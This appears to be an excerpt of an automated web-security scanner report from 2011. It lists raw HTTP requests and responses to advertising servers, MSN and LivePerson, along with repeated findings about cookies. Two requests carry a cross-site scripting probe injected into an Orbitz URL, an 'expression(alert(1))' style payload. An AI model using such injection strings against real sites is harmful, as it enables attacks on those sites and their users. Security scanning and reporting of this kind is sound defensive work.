GET /set?pid=1c6323e9-0811-5464-3af4-c00f47248395&rtb=6ch47d7o8wtv HTTP/1.1 Host: r.openx.net Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: fc=H4sIAAAAAAAAAONlYOTgYWBgYGRg0D7MwAAAxUfwuA8AAAA=; p=1295929663; i=8e1bb757-a622-431b-967f-869e18a071fe
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:14:47 GMT Server: Apache Cache-Control: public, max-age=30, proxy-revalidate Expires: Mon, 26 Jul 1997 05:00:00 GMT Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: i=8e1bb757-a622-431b-967f-869e18a071fe; expires=Fri, 01-Feb-2013 15:14:47 GMT; path=/; domain=.openx.net Content-Length: 43 Connection: close Content-Type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /click/site=0000747145/mnum=0000961923/cstr=11479363=_4d48254a,7376408871,747145^961923^1183^0,1_/xsxdata=$xsxdata/bnum=11479363&siteValue=0000747145&city=Dallas/ HTTP/1.1 Host: r1-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; F1=BAWJI1EBAAAABAAAAIAAgEA; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; BASE=TPQQKfQBxZgcD514adQ2mjv0dgQLL5FAodEV5BSIFyat6oE!; ACID=WR910012964108340027; 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; A07L=3TghwGitSqzY5976PrTsin6rxpK73x54NJs1OwWgDjYYaZeaDswzMIA; C2=eVCSNNbjHEEqGhO; 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; ROLL=gqwLbPcy+hFCk4Ept5x+lCN!; 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_;
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://livingsocial.com/deals/socialads_reflector?do_not_redirect=1&ref=AOL&geo=true">here</a>.</h2> </body> ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /click/site=0000747145/mnum=0000961923/cstr=25807272=_4d482560,1483511146,747145^961923^1183^0,1_/xsxdata=$xsxdata/bnum=25807272&siteValue=0000747145&city=Dallas/ HTTP/1.1 Host: r1-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; F1=BAWJI1EBAAAABAAAAIAAgEA; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; BASE=TPQQKfQBxZgcD514adQ2mjv0dgQLL5FAodEV5BSIFyat6oE!; ACID=WR910012964108340027; 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; A07L=3TghwGitSqzY5976PrTsin6rxpK73x54NJs1OwWgDjYYaZeaDswzMIA; C2=eVCSNNbjHEEqGhO; 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; ROLL=gqwLbPcy+hFCk4Ept5x+lCN!; 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_;
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://livingsocial.com/deals/socialads_reflector?do_not_redirect=1&ref=AOL&geo=true">here</a>.</h2> </body> ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /click/site=0000749715/mnum=0000918410/bnum=29104868/cstr=29104868=_4d482547,0572256108,749715^918410^1183^0,1_/xsxdata=$xsxdata/xsinvid=0/imptid=AScb47c603bd494ad09cac82f8e21e47bc HTTP/1.1 Host: r1-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; F1=BAWJI1EBAAAABAAAAIAAgEA; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; BASE=TPQQKfQBxZgcD514adQ2mjv0dgQLL5FAodEV5BSIFyat6oE!; ACID=WR910012964108340027; 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; A07L=3TghwGitSqzY5976PrTsin6rxpK73x54NJs1OwWgDjYYaZeaDswzMIA; C2=eVCSNNbjHEEqGhO; 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; ROLL=gqwLbPcy+hFCk4Ept5x+lCN!; 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_;
Response
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Location: http://www.merchantcircle.com/signup/partner?pid=aol&utm_source=sept2010&utm_medium=MCbanner&utm_content=728x90&utm_campaign= Cache-Control: private, max-age=0, no-cache Expires: Tue, 01 Feb 2011 15:37:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 258 Vary: Accept-Encoding Date: Tue, 01 Feb 2011 15:37:07 GMT Connection: close Set-Cookie: C2=jiCSNNbjHEEqGfugigQvJVAc; domain=advertising.com; expires=Thu, 31-Jan-2013 15:37:07 GMT; path=/ Set-Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 0572256108=_4d482547,0572256108,749715^918410^1183^0,1_; domain=advertising.com; path=/click
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.merchantcircle.com/signup/partner?pid=aol&utm_source=sept2010&utm_medium=MCbanner&utm_content= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /click/site=0000749715/mnum=0000964772/bnum=10533267/cstr=10533267=_4d48255e,5052657456,749715^964772^1183^0,1_/xsxdata=$xsxdata/xsinvid=0/imptid=ASda8e1ea7652d4c0992c679c6d2b63588 HTTP/1.1 Host: r1-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; F1=BAWJI1EBAAAABAAAAIAAgEA; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; BASE=TPQQKfQBxZgcD514adQ2mjv0dgQLL5FAodEV5BSIFyat6oE!; ACID=WR910012964108340027; 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; A07L=3TghwGitSqzY5976PrTsin6rxpK73x54NJs1OwWgDjYYaZeaDswzMIA; C2=eVCSNNbjHEEqGhO; 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; ROLL=gqwLbPcy+hFCk4Ept5x+lCN!; 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_;
Response
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Location: http://www.taxact.com/10tax.asp?sc=104072450109&p=1002450109_160x600_btf_ON Cache-Control: private, max-age=0, no-cache Expires: Tue, 01 Feb 2011 15:37:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 196 Vary: Accept-Encoding Date: Tue, 01 Feb 2011 15:37:15 GMT Connection: close Set-Cookie: C2=riCSNNbjHEEqGfugigQvJVAcRujZvkgBoC; domain=advertising.com; expires=Thu, 31-Jan-2013 15:37:15 GMT; path=/ Set-Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 5052657456=_4d48255e,5052657456,749715^964772^1183^0,1_; domain=advertising.com; path=/click
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.taxact.com/10tax.asp?sc=104072450109&p=1002450109_160x600_btf_ON">here</a>.</h2> </body></html>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site=747145/size=300250/u=2/bnum=11479363/hr=9/hl=2/c=3/scres=5/swh=1920x1200/tile=2/f=0/r=1/optn=1/fv=10/aolexp=1/dref=http%253A%252F%252Fwww.orbitz.com%252FApp%252FPerformMDLPDealsContent%253Fdeal_id%253Dpromotions%2526cnt%253DPRO%2526type%253Doa_qs35daf%252522style%25253d%252522x%25253aexpression%2528alert%25281%2529%2529%2525221333ba1041f HTTP/1.1 Host: r1-ads.ace.advertising.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACID=Bc330012940999670074; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; A07L=3dzaKJUOYWQidaSHS5y0YmSmFaXEvvd0LZvbK5g_-GSwVryO8dt0x1w; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; C2=HVCSNJpwHg02FN5BdbdRTewUwX0kH8Y4FN5BYTeRTeQ3gZ0kHQTnGN5BF2pRTeAohX0kHYZ4FN5BKGeRTewohX0kHca4FN5BiGeRTeQshX0kwOIAM/oBqJ7YBwAoGG5r1NQcKa4dGKmAI9YBxO53DkL3Fh3gPTw6TVEnsuWB/0mxpda7GIaWGbUrMaw41ZAVkqlB6bjxTr6bCwWZGG/r4fQsMasbwa3BW8oxu1I9HsfzFB3sNeQQoa0ks2zB1xmBmD; F1=BcUJI1EBAAAABAAAAEAAgEA; BASE=YnQI+8MmSf+Tkd8dWtaeW84rjjGaJlmvQDh5gB4INGhgqyeE2hX/3YWcFU+yQrMIvnyW7WqTRB0KmqQ/Bw31Ai99Olekp3KbTCY6Hcz3dkGhJ9sRouHZQnZFf264SgioQ63Tlv7fQeZ/MdF9vTkG04AAgW50nlreFyoGRSpu37msX+jQLx6DVzg0GiS7C+fmMlpM6WkfUJE/jZpxX9BVxb4NY6Bt+8HJjfPTnrX+YEI5U8ZjkNfo+ItYJvKGpR4RUa0dXReYyzQpxRA2o3puqGCbuiUAjLdfLbZkb0ehAjiNHPbW7aQ/l8C1FAzyv+l6iXS0VVSgNUKupn3qdes1byPz6HZxkJMDmZdPvgtllPoBe0tFpazRzM6rSRksfxhrPz5M5pJJtm/KXQNQ7rIa/ZcvMwjSuOO0V4u4UyiBOr868nAkimb4kuiPI6EuPQQEioI0acaoq0TOTxGN1Dyc8slydSMH9KF18QKVsBUXOKbwTDzUKPzbf4wBORYCjhMJH19G+54N1ZyXnV1z4b4OfC5tdEiBbtwwGNupEAO!; ROLL=v5Q2V0MtUuzqOtG!
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Comscore: CMXID=2115.961923.747145.0XMC Cache-Control: private, max-age=0, no-cache Expires: Wed, 02 Feb 2011 15:40:22 GMT Content-Type: application/x-javascript; charset=utf-8 Vary: Accept-Encoding Date: Wed, 02 Feb 2011 15:40:21 GMT Connection: close Set-Cookie: C2=lrXSNJpwHg02Fq0BdbdhKdwUwXoSH8Y4Fq0BYTehKdQ3gZoSHQTnGq0BF2phKdAohXoSHYZ4Fq0BKGehKdwohXoSHca4Fq0BiGehKdQshXoSwOIAM/oRhI7YBwAoGj0r1NQcKasLGKmAI9YRoN53DkL3F+ygPTw6TV4UsuWB/0mBhca7FIaWG4frMaw41Z0CkqlB6bjBLq6bCwWZGj6r4fQsMagJwa3BW8oBm0I9HsfzFeysNeQQoaoSs2zB1xmRdC; domain=advertising.com; expires=Fri, 01-Feb-2013 15:40:22 GMT; path=/ Set-Cookie: F1=BUueJ1EBAAAABAAAAEAAgEA; domain=advertising.com; expires=Fri, 01-Feb-2013 15:40:22 GMT; path=/ Set-Cookie: BASE=YnQI/8MmSf+Tkd8dWtaeW84rjjGaJlmvQDh5gB4INGhgqyeE2hX/3YWcFU+yQrMIvnyW7WqTRB0KmqQ/Bw31Ai99Olekp3KbTCY6Hcz3dkGhJ9sRouHZQnZFf264SgioQ63Tlv7fQeZ/MdF9vTkG04AAgW50nlreFyoGRSpu37msX+jQLx6DVzg0GiS7C+fmMlpM6WkfUJE/jZpxX9BVxb4NY6Bt+8HJjfPTnrX+YEI5U8ZjkNfo+ItYJvKGpR4RUa0dXReYyzQpxRA2o3puqGCbuiUAjLdfLbZkb0ehAjiNHPbW7aQ/l8C1FAzyv+l6iXS0VVSgNUKupn3qdes1byPz6HZxkJMDmZdPvgtllPoBe0tFpazRzM6rSRksfxhrPz5M5pJJtm/KXQNQ7rIa/ZcvMwjSuOO0V4u4UyiBOr868nAkimb4kuiPI6EuPQQEioI0acaoq0TOTxGN1Dyc8slydSMH9KF18QKVsBUXOKbwTDzUKPzbf4wBORYCjhMJH19G+54N1ZyXnV1z4b4OfC5tdEiBbtwwGNupEAetICCpHmL!; domain=advertising.com; expires=Fri, 01-Feb-2013 15:40:22 GMT; path=/ Set-Cookie: ROLL=v5Q2V0M/k7zqHkG!; domain=advertising.com; expires=Fri, 01-Feb-2013 15:40:22 GMT; path=/ Set-Cookie: 11479363=_4d497ae5,6123380717,747145^961923^1183^0,0_; domain=advertising.com; path=/click Content-Length: 1631
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site=749715/size=160600/u=2/bnum=29104868/hr=9/hl=2/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=10/aolexp=1/dref=http%253A%252F%252Fwww.orbitz.com%252FApp%252FPerformMDLPDealsContent%253Fdeal_id%253Dpromotions%2526cnt%253DPRO%2526type%253Doa_qs35daf%252522style%25253d%252522x%25253aexpression%2528alert%25281%2529%2529%2525221333ba1041f HTTP/1.1 Host: r1-ads.ace.advertising.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACID=Bc330012940999670074; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; A07L=3dzaKJUOYWQidaSHS5y0YmSmFaXEvvd0LZvbK5g_-GSwVryO8dt0x1w; F1=BcwvE1kAAAAAdVyCAEAAgEABAAAABAAAAUAAGAA; BASE=YnQIx8MmSf+Tkd8dWtaeW84rjjGaJl2JpJJ5e82KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC5uk1WFp+Zw63fzJnhGhJ9szxwHZQnZLI364iQjUbvXTIm5HoBJ/dvGrgJkH34AWEQ50klrods4GEQpslbnta1jyi06DY4goRuq7lNfytkpMGnkn13F/thphT9BVrj4TEB4tA8HhyePTdrXAHCI5I8ZJSPfosItSm2KGbW4bMg1diWeoat4pBWAsS0xuVBChK5UAQMdxKbZkoze5s76NIPb4CdQ/w8CXYuay4+lyQWK0GVSchMSu3n3ygrt1ByPVHFBx+JMtaedPpgtfj+pBX0truazR7M6ZuK9sVxhFZZ4MxpJbJc+KhQNAB0IaOZcfXUiSdOO0D8u4hyiFT/96RHBwMCa4UuiFfHFuaQQKkvI0Ica251TOMxGv0hzcvsl8LyNHqKFpTNKVBAUdzcbw/CzAvQzbu5wzg9ZCSgMt4q9GO44FPGyXSU1PH45OxD5VJciBItw68hvpOMeNkZCp6Oah7P40wy94BpsD33jn2wByhMmp+2rVS0xYYdyQ0dnp+0oE+uA!; ROLL=v5Q2H0MbU/zqUNH1h7d3T1ystuIiEaPHy4fCVadX/ASOjE6f+wnqYseyuA0vwlvFYFjqzjc8zqkwR3t+XXAr8QlWG4SSF/7N1Eja1YV2UmztMwbFznDUKtzd8HNCCLwX3RIWa/0nS8WT042H7E5JNtYzd2SZZdA!; C2=k4ZRNJpwIg02F1BCdbdRdgwUwXUHI8Y4F1BCYTeRdgQ3gZUHIQTnG1BCF2pRdgAohXUHIYZ4F1BCKGeRdgwohXUHIca4F1BCiGeRdgQshXUHwOIAM/oB0L7YCwAoGuxr1RQcKaYAGK2AI9YB7M53EkL3FJwgPXw6TVkJsuWB/0mxzfa7GIaWGDdrMaw41Zg3kq1B6bjxdp6bDwWZGu3r4fQsMaM+wa3BW8ox43I9HsfzFp/sNiQQoaUHs2DC1xmBwB; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Comscore: CMXID=2115.918410.749715.0XMC Cache-Control: private, max-age=0, no-cache Expires: Tue, 01 Feb 2011 15:22:48 GMT Content-Type: application/x-javascript; charset=utf-8 Vary: Accept-Encoding Date: Tue, 01 Feb 2011 15:22:47 GMT Connection: close Set-Cookie: C2=HVCSNJpwHg02FN5BdbdRTewUwX0kH8Y4FN5BYTeRTeQ3gZ0kHQTnGN5BF2pRTeAohX0kHYZ4FN5BKGeRTewohX0kHca4FN5BiGeRTeQshX0kwOIAM/oBqJ7YBwAoGG5r1NQcKa4dGKmAI9YBxO53DkL3Fh3gPTw6TVEnsuWB/0mxpda7GIaWGbUrMaw41ZAVkqlB6bjxTr6bCwWZGG/r4fQsMasbwa3BW8oxu1I9HsfzFB3sNeQQoa0ks2zB1xmBmD; domain=advertising.com; expires=Thu, 31-Jan-2013 15:22:48 GMT; path=/ Set-Cookie: F1=BcUJI1EBAAAABAAAAEAAgEA; domain=advertising.com; expires=Thu, 31-Jan-2013 15:22:48 GMT; path=/ Set-Cookie: BASE=YnQI+8MmSf+Tkd8dWtaeW84rjjGaJlmvQDh5gB4INGhgqyeE2hX/3YWcFU+yQrMIvnyW7WqTRB0KmqQ/Bw31Ai99Olekp3KbTCY6Hcz3dkGhJ9sRouHZQnZFf264SgioQ63Tlv7fQeZ/MdF9vTkG04AAgW50nlreFyoGRSpu37msX+jQLx6DVzg0GiS7C+fmMlpM6WkfUJE/jZpxX9BVxb4NY6Bt+8HJjfPTnrX+YEI5U8ZjkNfo+ItYJvKGpR4RUa0dXReYyzQpxRA2o3puqGCbuiUAjLdfLbZkb0ehAjiNHPbW7aQ/l8C1FAzyv+l6iXS0VVSgNUKupn3qdes1byPz6HZxkJMDmZdPvgtllPoBe0tFpazRzM6rSRksfxhrPz5M5pJJtm/KXQNQ7rIa/ZcvMwjSuOO0V4u4UyiBOr868nAkimb4kuiPI6EuPQQEioI0acaoq0TOTxGN1Dyc8slydSMH9KF18QKVsBUXOKbwTDzUKPzbf4wBORYCjhMJH19G+54N1ZyXnV1z4b4OfC5tdEiBbtwwGNupEAO!; domain=advertising.com; expires=Thu, 31-Jan-2013 15:22:48 GMT; path=/ Set-Cookie: ROLL=v5Q2V0MtUuzqOtG!; domain=advertising.com; expires=Thu, 31-Jan-2013 15:22:48 GMT; path=/ Set-Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; domain=advertising.com; path=/click Content-Length: 1043
function AdClicked(url) { var clickLineDisabled = "$dcli"; if(clickLineDisabled=="1") { return; }
var winOpen = "1"; if(winOpen == "1") { w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: realestate.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:40:26 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA16 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=972771e7f6834558a0e38a98ab1cff0e; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=95187FB7560B4B81B88E519BA8908F2A; domain=.msn.com; expires=Sun, 21-Aug-2011 15:40:26 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 40674
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /slideshow.aspx HTTP/1.1 Host: realestate.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:22 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA13 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=26fbb56ea10c4d5cac17f2337767ccbe; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=402987C945B0433BA1FE4A28CCFD831E; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:22 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 50039
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hc/15744040/?&site=15744040&cmd=mTagStartPage&lpCallId=567400305531-324853997910&protV=20&lpjson=1&page=http%3A//www.orbitz.com/shop/hotelsearch%3Ftype%3Dhotel%26hotel.typeOfSearch%3Dkeyword%26hotel.locationKeywordInput.key%3DBoston%252C%2BMA%252C%2BUnited%2BStates%26hotel.locId%3Dloc.pid%253A11231%26hotel.locationAddressInput.addressInput.countryCode%3DUS%26hotel.locationAddressInput.addressInput.addressLine1%3D%26hotel.locationAddressInput.addressInput.city%3D%26hotel.locationAddressInput.addressInput.stateProvinceCode%3D%26hotel.locationAddressInput.addressInput.postalCode%3D%26hotel.hotelSearchDetails.checkinDate%3D02%252F01%252F11%26hotel.hotelSearchDetails.checkoutDate%3D02%252F02%252F11%26hotel.hotelSearchDetails.numberOfRooms%3D1%26hotel.hotelSearchDetails.rooms%255B0%255D.numberOfAdults%3D2%26hotel.hotelSearchDetails.rooms%255B1%255D.numberOfAdults%3D1%26hotel.hotelSearchDetails.rooms%255B2%255D.numberOfAdults%3D1%26hotel.hotelSearchDetails.rooms%255B3%255D.numberOfAdults%3D1%26hotel.hotelRating%3D%26hotel.hotelChain%3D%26hotel.hotelName%3D%26hotel.couponCode%3D%26search%3DSearch&id=2998336854&javaSupport=true&visitorStatus=INSITE_STATUS&defInvite=chat-hotel-obtz-english&activePlugin=none&cobrowse=true&PV%21unit=hotel-obtz&PV%21Section=Hotel&PV%21DestinationCityS=Boston%2C%20MA&PV%21CheckInDate=2011/02/01&PV%21CheckOutDate=2011/02/02&PV%21DayOfDeparture=Tuesday&PV%21AdvancedPurchase=0&PV%21RoomsRequested=1&PV%21HotelGuests=2&PV%21ConversionStage=showHotelResults&PV%21PriceChange=&PV%21CartTotal=&PV%21FirstName=&PV%21LastName=&PV%21ErrorInvite=0&PV%21ErrorCounter=0&PV%21pageLoadTime=7%20sec&PV%21visitorActive=1&SV%21language=english&VV%21VisitorID=&title=Boston%20-%20Hotel%20Search%20Results%20-%20www.orbitz.com&referrer=http%3A//www.orbitz.com/hotels/%3Fz%3D4fae%26r%3D1o HTTP/1.1 Host: sales.liveperson.net Proxy-Connection: keep-alive Referer: http://www.orbitz.com/shop/hotelsearch?type=hotel&hotel.typeOfSearch=keyword&hotel.locationKeywordInput.key=Boston%2C+MA%2C+United+States&hotel.locId=loc.pid%3A11231&hotel.locationAddressInput.addressInput.countryCode=US&hotel.locationAddressInput.addressInput.addressLine1=&hotel.locationAddressInput.addressInput.city=&hotel.locationAddressInput.addressInput.stateProvinceCode=&hotel.locationAddressInput.addressInput.postalCode=&hotel.hotelSearchDetails.checkinDate=02%2F01%2F11&hotel.hotelSearchDetails.checkoutDate=02%2F02%2F11&hotel.hotelSearchDetails.numberOfRooms=1&hotel.hotelSearchDetails.rooms%5B0%5D.numberOfAdults=2&hotel.hotelSearchDetails.rooms%5B1%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B2%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B3%5D.numberOfAdults=1&hotel.hotelRating=&hotel.hotelChain=&hotel.hotelName=&hotel.couponCode=&search=Search Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: HumanClickKEY=699244399384198284; LivePersonID=LP i=16101423669632,d=1294435351; HumanClickACTIVE=1296573857200
Response
